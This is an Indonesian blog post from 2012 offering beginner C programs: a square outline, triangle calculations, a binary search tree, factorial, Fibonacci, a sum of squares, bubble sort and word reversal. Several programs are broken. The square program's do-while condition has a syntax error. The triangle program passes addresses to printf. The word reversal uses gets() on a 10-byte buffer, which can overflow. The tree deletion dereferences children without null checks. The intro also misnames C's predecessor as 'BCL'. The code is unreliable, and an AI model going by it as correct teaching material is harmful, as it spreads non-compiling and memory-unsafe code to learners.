2012-12-30T18:39:00.003+07:00

Kali ini berbagi berbagai tutorial dan contoh source code bahasa pemrograman c/c++ yang dishare olehfuchsia21@kaskus, diantaranya PERSEGI AJAIB, SISI MIRING, LUAS &KELILING SEGITIGA, POHON PENCARIAN, FAKTORIAL, FIBONACCI, PENJUMLAHAN DERET KUADRAT, BUBBLE SORT USER, MEMBALIKKAN KATA.

C++ adalah bahasa pemrograman komputer yang di buat oleh (Bjarne Stroustrup) merupakan perkembangan dari bahasa C dikembangkan di Bell Labs (Dennis Ritchie) pada awal tahun 1970-an, Bahasa itu diturunkan dari bahasa sebelumnya, yaitu BCL, Pada awalnya, bahasa tersebut dirancang sebagai bahasa pemrograman yang dijalankan pada sistem Unix, Pada perkembangannya, versi ANSI (American National Standart Institute) Bahasa pemrograman C menjadi versi dominan, Meskipun versi tersebut sekarang jarang dipakai dalam pengembangan sistem dan jaringan maupun untuk sistem embedded, Bjarne Stroustrup pada Bel labs pertama kali mengembangkan C++ pada awal 1980-an, Untuk mendukung fitur-fitur pada C++, dibangun efisiensi dan sistem support untuk pemrograman tingkat rendah (low level coding).

Selamat menikmati sourcecode berikut:

PERSEGI AJAIB

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

#include<stdio.h> 

#include<conio.h> 

void main() {

int kolom,baris,n,spasi;

do {

clrscr();

gotoxy(15,2); printf("Program Persegi Ajaib Punyaku");

gotoxy(3,5);

printf("Masukkan Panjang Sisi : "); scanf("%d",&n);

gotoxy(3,7); printf("Persegi dengan panjang sisi %d 

",n);

for(baris=1;baris<=n;baris++)

{ printf("* "); }

printf(" 

");

for(kolom=1;kolom<=n-2;kolom++)

{ printf("*");

for(spasi=1;spasi<=n*2-3;spasi++)

{ printf(" "); }

printf("* 

");

}

for(baris=1;baris<=n;baris++)

{

printf("* ");

}

gotoxy(3,23); printf("tekan tombol \"y\" untuk mengulang");

gotoxy(3,24); printf("tekan sembarang tombol untuk keluar");

}

while(getch()=='y';);

}

SISI MIRING, LUAS & KELILING SEGITIGA

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#include<stdio.h> 

#include<conio.h> 

#include<math.h> 

void main()

{

float a,t,r,K,L;

scanf("%f%f",&a,&t);

r=sqrt(a*a+t*t);

K=a+r+t;

L=(a*t)/2;

printf("r=%.2f, K= %.2f, L= %.2f",&r,&K,&L);

getch();

}

POHON PENCARIAN

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

#include <stdio.h> 

#include <conio.h> 

#include <malloc.h> 

struct data{

int angka;

struct data *left, *right;

}*root = NULL;

void menu(void){

gotoxy(1,23); printf("+ to insert");

gotoxy(40,23); printf("- to seek and destroy");

gotoxy(1,24); printf("Esc to Exit");

}

void insert (struct data **p, int angka, int level){

level += 1;

if( level < 6){

if( (*p) == NULL ){

(*p) = (struct data *) malloc (sizeof (struct data) );

(*p) -> angka = angka;

(*p) -> left = (*p) -> right = NULL;

}

else if( angka < (*p)-> angka ){

insert(& (*p) -> left, angka, level);

}

else if( angka > (*p)-> angka ){

insert(& (*p) -> right, angka, level);

}

}

else{

textcolor(14);

gotoxy(1,25); cprintf("Level Tree telah mencapai Maksimum");

textcolor(7);

getch();

}

}

void clearall (struct data *p){

if(p==NULL) return;

clearall(p -> left);

clearall(p -> right);

free(p);

}

void cetak(struct data *p, int x, int y, int j){

if(p == NULL) return;

gotoxy(x,y);

printf("%d", p-> angka);

cetak(p -> left, x-j, y+2, j/2);

cetak(p -> right, x+j, y+2, j/2);

}

void preorder(struct data *p){

if(p==NULL) return;

printf("%d ", p->angka);

preorder(p -> left);

preorder(p -> right);

}

void inorder(struct data *p){

if(p==NULL) return;

inorder(p -> left);

printf("%d ", p->angka);

inorder(p -> right);

}

void postorder(struct data *p){

if(p==NULL) return;

postorder(p -> left);

postorder(p -> right);

printf("%d ", p->angka);

}

void print_order(void){

gotoxy(1,19); printf("PreOrder : "); preorder(root);

gotoxy(1,20); printf("InOrder : "); inorder(root);

gotoxy(1,21); printf("PostOrder : "); postorder(root);

}

void seekndestroy(struct data *p, int angka){

if( p == NULL) return;

else if( angka < p -> angka){

if( p -> left -> angka == angka){

clearall (p -> left);

p -> left = NULL;

}

else{

seekndestroy( p -> left, angka);

}

}

else if( angka > p -> angka){

if( p -> right -> angka == angka){

clearall (p -> right);

p -> right = NULL;

}

else{

seekndestroy( p -> right, angka);

}

}

}

void main(){

int tekan, angka;

do{

clrscr();

menu();

cetak(root, 40, 2, 20);

print_order();

tekan = getch();

switch(tekan){

case '+' : gotoxy(1,16); printf("Masukkan Angka : ");

scanf("%d",&angka);

insert(&root, angka,0);

break;

case '-' : gotoxy(1,16); printf("Masukkan Angka : ");

scanf("%d",&angka);

if(root == NULL){

textcolor(14);

gotoxy(1,25); cprintf("Tidak ada Data yang bisa dihapus");

textcolor(7);

getch();

}

else if(angka == root -> angka ){

textcolor(14);

gotoxy(1,25); cprintf("Root Tidak Boleh Dihapus");

textcolor(7);

getch();

}

else if(root !=NULL){

seekndestroy(root, angka);

}

break;

}

}while(tekan != 27);

clearall(root);

}

FAKTORIAL

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

#include<stdio.h> 

#include<conio.h> 

long faktor(int n)

{

if(n==0)return 1;

else return n*faktor(n-1);

}

void main()

{

int n;

printf("masukkan n : ");

scanf("%d",&n);

printf("n faktorial=%d ",faktor(n));

getch();

}

FIBONACCI

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#include<stdio.h> 

#include<conio.h> 

int fib(int n)

{

int f;

if (n==0)f=0;

else if(n==1)f=1;

else f=fib(n-2)+fib(n-1);

return f;

}

void main()

{

int n;

printf("masukkan n: ");

scanf("%d",&n);

printf("bilangan fibonacci dari %d = %d",n,fib(n));

getch();

}

PENJUMLAHAN DERET KUADRAT

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#include<stdio.h> 

#include<conio.h> 

int jumlah(int n)

{

if(n==1)return 1;

else return (n*n)+jumlah(n-1);

}

void main()

{

int n,i;

printf("n= ");

scanf("%d",&n);

i=jumlah(n);

printf("%d jumlah= %d",n,i);

getch();

}

BUBBLE SORT USER

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

#include<stdio.h> 

#include<conio.h> 

void main(){

int bil[5]={5,3,2,1,4};

int j,i,temp;

for(i=0;i<5;i++)

scanf("%d",&bil[i]);

for(j=0;j<4;j++)

{for(i=0;i<4-j;i++)

{if(bil[i]>bil[i+1])

{temp=bil[i];

bil[i]=bil[i+1];

bil[i+1]=temp;

}

}

}

for(i=0;i<5;i++)

printf("%d ",bil[i]);

getch();

}

MEMBALIKKAN KATA

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

#include<stdio.h> 

#include<conio.h> 

#include<string.h> 

#include<stdlib.h> 

void main()

{

char a[10];

printf("Masukkan kata: ");

gets(a);

strrev(a);

printf("Jika dibalik menjadi : %s",a);

getch();

}

Sumber

Semoga bermanfaat untuk semuanya dan jangan lupa untuk terus belajar